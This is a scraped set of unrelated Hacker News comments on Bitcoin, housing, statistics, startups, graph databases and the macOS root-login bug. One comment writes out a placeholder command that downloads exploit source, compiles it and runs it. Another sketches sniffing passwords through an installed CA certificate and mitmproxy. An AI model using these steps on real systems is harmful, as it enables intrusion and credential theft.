skysight-inc/HackerNews huggingface dataset:
People who oppose a free market economy are the ones who haven’t lived outside of one.
HN really loves their housing problems of california (or new york) articles...

I'm surprised everyone's not tired of the same news over and over again.
Why become Bayesian? The rational actor theorems that drove that in the '60's turn out not to apply if you use a class of priors instead of a single prior, and single priors are overspecific to capture belief in most cases.

Better to go all the way down to decision theory.
> the price should stabilize, as there wouldn't be extra money that could be put into Bitcoin.

I've heard some wild logic from BTC fans, but this takes the cake. BTC will stabilize because no more money can be put into it, huh? What about, you know, money that can be taken out?
To build on fny's answer, there is one school of statistics (Bayesian statistics) where there basically is a "right" way to do analysis for any problem, provided you make the necessary assumptions (likelihood and prior) correctly. However, the most common statistical concepts (e.g. p-values or confidence intervals) are not in the Bayesian school
Battle Royales work in the video game world because I can just queue up immediately after elimination.

Can't do that when I'm with my friends for the evening.
Just curious, have you drank more in beer than you've bought in Bitcoin?
> You'd still need physical access to a logged-in machine to exploit it

Not necessarily; this aspect was unfortunately underreported:

"macos 10.13 bug isn't limited to root in all circumstances; via ARD, you can log in as any existing user (e.g. _applepay) and share the screen of the logged-in user. also _uucp is allowed to log in"

https://twitter.com/unsynchronized/status/935656609140711426
Fascinating point. Is "training vs education" a useful pair of terms? Universities used to be for education, now often its assumed they are for training only. (Bachelor of Science in Hotel Management I come across nowadays - in what?!)

I often hear people talk as if education was something that happened to them, then it finished. (Like learning is something you just do in an institution.) I guess training is more like that, teaching knowledge and skills for some particular task/role/job.
Apparently, he also claims to have Wayne's album Tha Carter V.

Couldn't he do us a solid and just release it online before the government takes it?
But as an advertising-based media company, it's terrible business strategy to keep Trump, because major commercial advertisers - the kind that buys millions of dollars in ads, not the mom-and-pop social media outlets - actually have very specific and written standards on content that they can associate with. I've dealt with these organizations and their advertising standards.

Do you think Calvin Klein or Chanel wants their beautiful fashion ads next to an ISIS beheading video posted by Donald Trump?

Exactly.

Twitter really needs to learn how to control their content lik a professional media company would.

If I were Jack, I'd hire a strict "Editor-in-chief", and just set policy that states "don't piss off our editor-in-chief".
See the other thread :). Such satellite would need impractically large Rx sensitivity and Tx power. Doing that on surface of earth is simpler and significantly cheaper.
Open source projects are founded on self-interest, not altruism: "I can do this better than any existing solution"! On rare occasions this is true, and on even rarer occasions others agree and start contributing.
Yes. I think it's related to the Pareto principle, in that the last 20% of a project takes 80% of the time.
It's not always clear the selfishness is strictly financial. If your land gets zoned for higher density development (or similar regulations/barriers are removed), and there is strong demand, then the value of your property can go way up.

What they generally want is to enjoy the current character of their neighborhood (big lots, green space, still close to the city, walkable, etc.), but also realize substantial gains in housing value by keeping new housing off the market. They might gain even more money if their particular land could be developed and they moved, but then they woud have to move.
lol. commenting on HN is generally unproductive.
JAMA is a more recent one that's fairly modern feeling. I tried to get my company to get it but they didn't bit. (pricey)
> but the attitude-keeping requirements are harsh.

Yes, that's exactly what I wrote upthread, that's the hard requirement. And that is what will fail and then you've got a very expensive doorstop in an orbit outside of any repair capability. Inability do do maintenance / repairs is the killer.
>LPE bugs might be common but they're rarely as extremely straightforward as typing "root" into a login prompt with no password and pressing enter a few times.

Often enough a `wget http://xxx.xxx/xxx.c&&gcc xxx.c&&./a.out` will suffice. I'm not convinced that the ease of exploitation makes this bug particularly serious as a LPE.
> in the entire history of the bucket no request was logged other than from the intended clients

This sounds sort of like dumb luck. It just means no one was looking for it, that doesn't mean it's secure. This all reminds of me of the xkcd about making passwords that are easy for computers to guess and hard for people to remember[0].

Your security on buckets should be the bucket policy/permissions themselves, not the arbitrary naming of them. Security by obscurity is rarely secure and more about the illusion of security.

[0] https://xkcd.com/936/
The defaults don't allow for remote management, screen sharing, or SSH or anything. Most of these devices are going to be sold without those options ever being touched.

So that limits things in terms of who is affected.
There's also a neat book for those interested in the engineering details of their receivers:

"Low-Noise Systems in the Deep Space Network"
Edited by Macgregor S. Reid

https://descanso.jpl.nasa.gov/monograph/series10/Reid_DESCAN...

It's published by the JPL as part of the "Deep Space Communictions and Navigation Series". The rest of the books in the series, listed in the book's front matter, have some fascinating titles.
The public did invest under the same rules as a standard VC deal, i.e. Reg D. Though I guess with additional accredited investor verification on account of the general solicitation rules, which don't typically apply in VC deals.

> The public should be allowed to take risks though!

I have complex feelings about this. For example, I wanted to participate in the Filecoin ICO, and I could not because I don't meet the accredited investor requirements. On the micro level, I was a bit disappointed. It's my money, if I want to give it to a charlatan, I should be able to. On the macro level, I understand that it makes sense that most people like me shouldn't be investing in companies that aren't required to make any disclosures, financials or otherwise, particularly when people like me aren't really in a position to negotiate for that information. In my mind, protecting mom and pop is still a worthwhile goal.

So while I definitely agree that the public should be allowed to take risks, it's relevant that there are quite a few markets that they have unimpeded access to. And I'm generally sympathetic to the SEC's desire to shield the least sophisticated investors from the riskiest investments.
> because it doesn’t provide remote access

It was, via Screen Sharing and a few other remote mechanisms.

It "likely" wasn't often internet accessible due to firewalls, but it was remotely exploitable on many large Mac deployments in enterprise and education.
Sadly, artificial urgency is the status quo of modern application design and development. A successful app often takes several cues from gambling, wherein the user gets a dopamine hit with a new notification, and is encouraged to check periodically for the possibility of another hit.
Ask HN: What's the story behind Bruce Schneier and squids?
Obviously deflationary. What's your point?
My company just finished this batch. 500 was upfront that funding would not happen until at least 2 months after the batch starts. My impression is that communication has been weak after Dave leaving and that has allowed room for speculation. Personally, 500 has been good to us.
Only in the short term. The difficulty adjustment eventually makes changes in mining capacity moot.
I actually somewhat agree with your point, your example is simply not realistic. Your point is correct because people are using the term security by obscurity wrong. Security by obscurity means that you rely on the secret implementation of your algorithm. Our best encryption algorithms are public so they can be poked and peer reviewed. You are right in the fact that through enough obscurity of the key, you attain security as it's non feasible statistically to brute force.

If you have a public & unlisted endpoint that looks like

https://example.com/VERYLONGANDRANDOMKEY

You might argue it's as good as a request to

https://example.com

with an Authorization header containing this key for example.

(Well, not exactly the same, as most access logs will include the first and not the second, but for the sake of the argument)

p.s. I don't agree for example that

VERYLONGANDRANDOMKEY.example.com is the same, as if I'm not mistaken, if you just scan the entire IP range, then try to do a reverse DNS lookup, you'll end up finding it anyway.
Very serious or minor annoyance? "college campuses" don't strike me as the kind of places where any security issues are considered "very serious".
I think Apollo 13 did a lot to show what talented engineering teams can do. They also didn't shy away from real terminology and rarely stopped to explain it. No other movie has done that in my experience.
> You'd still need physical access to a logged-in machine to exploit it.

You don't. You can exploit it from the login screen after a machine wakes from sleep, you can also exploit it remotely via Screen Sharing.
Waiting for 15 minutes for a cyclist to go by is pretty minor in terms of what a professional photographer will go through to snap a good picture.
Perhaps a lot of people own houses too, but still, I think the majority of people don't even own bonds or stocks (which can have a return). I think US people are more sophisticated when it comes to using financial tools but my impression is that in Europe most people have no clue about investing their money besides buying a house. Hell, most of my peers in my generation barely have any savings.
Twitter is throwing the towel on democracy
Ah, thanks! That helps clarify.
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Best advice you can give to less technical friends is to just use a ChromeBook / Windows 10S device / or iPad.

General purpose computers are no longer necessary for a significant chunk of consumers.
None of which makes this statement any less inaccurate:

> You'd still need physical access to a logged-in machine to exploit it.
Genuinely interested in your perspective: In January '17, 1BTC was $800 and it's currently >$10,000. How can you justify spending X BTC on a good or service as you've now paid ~10x the original asking price?
From a psychometric perspective, they are IQ tests, in that they show the same correlation with IQ tests that IQ tests show with each other.

From a research-into-today's-hot-button-issues perspective, they are routinely slammed for being about cramming, but the effect of test preparation on test scores tends to be very close to zero when you look into it.
But you could, for example, install a Trusted CA Cert and mitmproxy the connection to sniff the Google password as it’s used to login. Same with stored credit cards, etc.
Yes, but not in a way that's germane here. Physics in the sense of the workings of the world is fundamental. Physics in the sense of science practiced by humans is infamous for spherical cows, point masses and mathematical funny business. Not the same thing at all. :)
I consider the difficult adjustment to be part of the "mining system". My point is that BTC self-regulates supply, not value. Value is determined by the (volatile) market.
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I can relate. I've thrown myself into work and family in the past 4 years. It's been a while since I read a book or drew a picture. I was browsing around B&N today thinking I should get back to doing that.
I discovered this thanks to you. I'm still reading it, but I just wanted to thank you. This is brilliant stuff.
Interesting. I had assumed Tizen was a greatly reduced Linux-inspired OS. Do you have a source for the ability to SSH?

Might it not be easier to have an Android app that grabs data from the watch using their API?

https://stackoverflow.com/questions/40233692/how-to-integrat...
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I think you're concentrating on the wrong thing, here.

Just as RDBMS can have tables about different things (Products, Users, Orders), graph databases can use labels on nodes for different things (so you can have :Product nodes, :User nodes, :Order nodes). Though with graph databases, there is often less rigidity in the associated data than in RDBMS, as there is no requirement for explicit schema for properties on nodes of different types in a graph db (plus you can multi-label nodes).

The real differentiator is how relationships are modeled, and how they're traversed in queries.

With RDMBS/SQL you're going to be working with data in tables, and use join tables as the relationships between them. You're likely going to need to be explicit about what is being joined together, so the relationship chain is likely to be very rigid.

With graph databases, relationships and relationship traversal is used in place of join tables and table joins, which gives much more flexibility over how to traverse. You can certainly do friend-of-friend-of-friend queries much more easily, but you can also perform variable-length traversals using custom logic for which nodes are in the path and which relationships are traversed (type, direction, and count), and that can be very well-defined, or very loosely defined, or a mix, as needed. I don't believe there are good ways to do that kind of ad-hoc table joining in RDBMS.

As an example of very loosely defined traversals in queries, you can ask for a shortest path between two nodes, knowing nothing about the nodes or relationships that could be between them, and get a path back showing the connecting nodes, with the relationships between the nodes providing context.
> We could have had a spread spectrum solution with open airwaves. We have with unlicensed WiFi frequency bands, and there's plenty of competition in that space. Well, at least until the FCC tries to meddle in that too.

Wat?

Do you even know how spectrum works? It's so trivial to dump RF hash out on 70cm/23cm that I don't think you have an appreciation of how horrible of an idea that is.
Something that I found always makes people think is the observation that if everyone that meet is toxic, then they're the toxic one.

Don't bring this up directly of course.

Just talk about someone at work or in the news who always seems to be complaining -- and while you're reading the newspaper or chatting about work. Don't bring it up out of nowhere.

(this advice is may be worth what you paid for it of course)
I'm too old now: but I so wish I could have been a young engineer on such a project. The title is literally "37 years later." (And that's not from launch.)

Amazing.
Be careful with comparisons here, “security” is a super broad label.
If they didn't use encryption, the NSA could recover everything from their data centers and then the FBI could do parallel construction?
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One similar to Hackerrank is hackerearth [1].

[1] https://www.hackerearth.com
If we're talking about selfishness leading to homelessness, why don't we just seize the non-primary houses of the wealthy to house the poor?

Why is it that the middle class who only have their single single-family house are the selfish ones?

No, on the eve of what looks like the most disastrous tax policy in the history of this nation for working and middle class folks, I don't think it's the middle class who are being selfish by a long shot.
This is a general comment not specific to the topic at hand. If you have facts to share then do so. But if you 'feel' that someone has an ulterior motive and you share it in a public forum then many people might take it as fact or an anecdote. Some people might even repeat it to their own friends. By doing so you risk harming the reputation of someone who may be innocent of that accusation.

Let me demonstrate with an example: I 'feel' that you wanted to join GOAP because you wanted to hang out with attractive women. And I 'feel' that 500 Startups didn't respond to you because they recognized your sleazy intentions. And I feel that you got upset and this is your way of getting revenge. Now, obviously, I don't really feel that way. But I just wanted to show how easy it is to throw dirt at someone.

Let's stick to the facts, please.

disclaimer: I was in 500 Startups first batch.
This sort of thing happened to friends in Berkeley who wanted to add a second floor to a home they bought in a neighborhood already full of 2 story homes. The main neighbor opposing also had a 2 story home, but felt that the proposed second story would take away the visual privacy of their own backyard. The friends prevailed but not without a lot of delays and added costs.

In the end they asked that neighbor why they did it, and turned out that the neighbor obstructed just because they could, as a sort of last stand for their generation in the neighborhood.

On the other hand, places like Portland have made the opposite mistake of extreme (vs incremental) upzoning [1] which also causes housing market problems.

1. https://www.strongtowns.org/journal/2017/6/9/revisiting-what...
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Another great example for why you should use Bitcoin.
There's more competition in the mobile space so I think it's less of a concern, though it can still be a problem. Broadband is where we need net neutrality the most.

As for Sprint and Tmobile, they are both "viable" competitors, whatever that means.
>As for fiber—blame your municipality.

That's a lot of municipalities to blame. The US won't stay competitive just because your small town has fat pipes.
Many people don't care about the potential monetary value change, it's only about the character of their neighborhood that you mention. They just enjoy the way of life in a low density, single family home neighborhood - the gardens, space, easy parking, low traffic, kids playing in the street. That's why they chose to live there.
iPad ⇆ iOS :(
If you've had to say this to both of the commentators who've replied, perhaps you should try to come up with a different example that better conveys the point you are trying to make...